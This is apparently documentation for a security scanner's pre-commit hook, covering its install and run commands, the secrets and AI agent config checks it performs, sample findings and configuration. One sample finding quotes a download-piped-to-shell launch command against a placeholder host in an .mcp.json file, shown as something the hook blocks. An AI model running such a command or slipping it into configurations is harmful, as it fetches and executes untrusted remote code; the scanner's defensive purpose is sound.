Pre-commit hook: `penthera hook`

Pro. For “how do I put it in CI?”

Block it before it’s committed

Once a secret is pushed, rotating it is the only fix. The pre-commit hook runs the checks that matter on what you are about to commit, and nothing else:

penthera hook install     # writes .git/hooks/pre-commit; an existing hook is kept and runs first
penthera hook run         # what the hook runs; try it on staged changes
penthera hook uninstall   # removes it and puts your old hook back

On staged content only (the git index, not your working tree):

secrets and AI provider keys in staged files;
penthera agents rules on staged .mcp.json, CLAUDE.md, AGENTS.md, .cursor/, .claude/ and skills/;
when package-lock.json is staged, the capability diff against HEAD’s lockfile and the license policy, for the packages this commit adds.

  ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)

  ✗ CRITICAL .mcp.json  MCP server "x" launches by downloading and running code  id b5914a44a2058da9
      → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
  ✗ CRITICAL config.js:1  Anthropic API key in source  sk-a…AAAA  id 7a0eb6998ff38787
      → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.

  Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
    { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
  To skip the check for one commit: git commit --no-verify (the finding still ships)

It blocks on high and critical by default and takes about 0.1 to 0.5 s. Configure it in penthera.policy.json:

{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
            "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }

A staged file larger than 16 MB is not read, and it blocks the commit with a warning that names it, since it could hold a secret nobody checked. Add it to ignore, or set "largeFiles": "warn" in the hook section to only warn. If husky or lefthook manage your hooks (core.hooksPath is set), penthera hook install says so instead of overwriting them. Add one line to that tool instead:

# husky
echo "npx --no-install penthera hook run" >> .husky/pre-commit

# lefthook.yml
pre-commit:
  commands:
    penthera:
      run: npx --no-install penthera hook run

# .pre-commit-config.yaml (pre-commit.com)
repos:
  - repo: https://github.com/danoszz/penthera
    rev: <tag or sha>
    hooks:
      - id: penthera

Back to the README · All commands

I'm new

I use AI coding tools

I run it in CI

Evidence for an auditor

Research and method

Compared

The project

Hook

Pre-commit hook: `penthera hook`

Block it before it’s committed

​Pre-commit hook: penthera hook

​Block it before it’s committed

Pre-commit hook: `penthera hook`

Block it before it’s committed